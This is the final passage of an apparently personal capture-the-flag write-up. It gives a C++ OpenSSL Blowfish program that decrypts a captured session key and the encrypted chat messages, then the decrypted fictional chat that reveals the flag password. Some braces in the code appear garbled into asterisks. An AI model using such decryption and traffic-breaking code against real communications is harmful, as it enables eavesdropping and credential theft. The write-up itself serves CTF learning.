*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x2a, 0xb4, 0x36, 0x5a, 0x8d, 0x0c, 0x4e, 0xed, 0xea, 0xe8, 0xeb, 0xfc, 0xe9, 0x66, 0xf7, 0x9d, 0x5f, 0x8d, 0x7f, 0x9f, 0x39, 0x32, 0xcf, 0x92, 0xf9, 0xe4, 0x36, 0xc4, 0xae, 0xef, 0x05, 0xa6, 0x18, 0x06, 0x68, 0x22, 0xf0, 0x60, 0x03, 0x1a, 0x11, 0x95, 0x48, 0x21, 0x41, 0x79, 0xbb, 0xca, 0xe3, 0x0f, 0x75, 0xa4, 0x42, 0x04, 0x15, 0xfd, 0xec, 0xa6, 0xcb, 0x90, 0x8c, 0xcd, 0xab, 0xc4, 0x54, 0x5d, 0x1d, 0xde, 0x2c, 0x55, 0xa8, 0x31, 0xfc, 0xf7, 0xc0, 0xe5, 0xda, 0x52, 0xd2, 0x39, 0x6b, 0x74, 0x4e, 0x19, 0x9a, 0xe9, 0x63, 0x1d, 0x40, 0x58, 0x49, 0x2a, 0x79, 0x06, 0xf1, 0x00*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0xee, 0x96, 0x8b, 0x09, 0x3a, 0x5e, 0xe7, 0xd0, 0xf1, 0x8e, 0xa1, 0xed, 0xe9, 0xff, 0x39, 0xce, 0x87, 0xc5, 0x9d, 0x72, 0x55, 0xf5, 0xae, 0xec*,
*0x61, 0xf7, 0xc8, 0x5d, 0x96, 0x64, 0x36, 0x50, 0xa8, 0xee, 0x33, 0x6f, 0x05, 0x23, 0x82, 0x27, 0x64, 0xbd, 0xeb, 0x08, 0x5f, 0x86, 0xe8, 0xf8, 0xd3, 0xdb, 0x56, 0xe3, 0x8d, 0x30, 0x0a, 0x42, 0x04, 0xf1, 0x7c, 0x72, 0xd9, 0x49, 0x41, 0x97*,
*0xae, 0xba, 0x9b, 0x53, 0xc6, 0x38, 0xb2, 0xbc, 0xfe, 0x62, 0xaa, 0xe2, 0xb9, 0x58, 0x28, 0xe5*,
*0x5f, 0xec, 0x8c, 0x6c, 0x9a, 0xa0, 0x40, 0x7e, 0x1d, 0xc2, 0x79, 0xf5, 0x37, 0x42, 0x1b, 0x1d, 0xcf, 0xa7, 0xb6, 0x50, 0xfb, 0x8b, 0x05, 0x69*
};
int round(int a)
*
return (a/8)*8 + ((a%8>0)?8:0);
*
int main(int argc, char **argv)
*
int i;
EVP_CIPHER_CTX ctx;
EVP_CIPHER_CTX_init(&ctx);
unsigned char key[256];
int buflen = 0,tmplen=0;
/* Raw encrypted session key */
unsigned char bufferin[] = "\xb9\x14\x34\xfa\xab\x25\x12\xdd\x3b"
"\xd7\xd5\xa7\x93\x53\x55\x4d\xe5\xfb"
"\xd9\x31\x66\x75\x69\x43\x14\xeb\x6b"
"\xe6\xfc\x41\x62\x39\x92\xe4\xb9\x82"
"\x57\x21\xde\x48";
unsigned char bufferout[256];
EVP_DecryptInit_ex(&ctx, EVP_bf_ecb(), NULL, (unsigned char* )KEY, NULL);
EVP_DecryptUpdate(&ctx, bufferout, &buflen, bufferin, 40);
EVP_DecryptFinal_ex(&ctx, bufferout+buflen, &tmplen);
EVP_CIPHER_CTX_cleanup(&ctx);
cout << "Session Key: "<<bufferout<<endl;
memcpy(key, bufferout, 256);
for (i=0; i<20; i++)
{
buflen = 0;
tmplen = 0;
EVP_DecryptInit_ex(&ctx, EVP_bf_ecb(), NULL, key, NULL);
EVP_DecryptUpdate(&ctx, bufferout, &buflen, talks[i], round(strlen((const char *)talks[i])));
EVP_DecryptFinal_ex(&ctx, bufferout+buflen, &tmplen);
EVP_CIPHER_CTX_cleanup(&ctx);
cout << "Talk: " << bufferout<<endl;
*
return 0;
}
Here are the decrypted messages:
Session Key: QAWuI_]bQwrMuqskR\NfvrbUniUsUOCQ Talk: gunther.vanderbeck> hello =) Talk: hi gunther Talk: john.adams> hi gunther Talk: how r u ? Talk: john.adams> how r u ? Talk: gunther.vanderbeck> fine & u ? Talk: fine Talk: john.adams> fine Talk: did you managed to break what we've talked about last time ? Talk: john.adams> did you managed to break what we've talked about last time ? Talk: gunther.vanderbeck> ofc, got his pwd: CantSniffThisFuckingProtocol Talk: gunther.vanderbeck> seems he tried to break into our chat system ;) Talk: rofl Talk: john.adams> rofl Talk: encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^ Talk: john.adams> encryption is so secure, trust me I wrote this stuff and I know what I'm talking about ^^ Talk: gunther.vanderbeck> u roxx dude ;) Talk: gunther.vanderbeck> cya, gotta leave Talk: cya dude Talk: john.adams> cya dude
The flag was: CantSniffThisFuckingProtocol.
Conclusion
A working remote service was required to correctly exploit all the vulnerabilities and get the flag. Since the remote service is down and the provided binary not fully working on any workstation/OS, I provide the source code of this server and the related SQL sample data to those of you who want to reproduce this attack and/or try it by theirselves.
For more information or questions , do not hesitate to ask on Twitter (@virtualabs) or send an email to virtualabs -the correct symbol here- gmail -what seems to be a dot- com.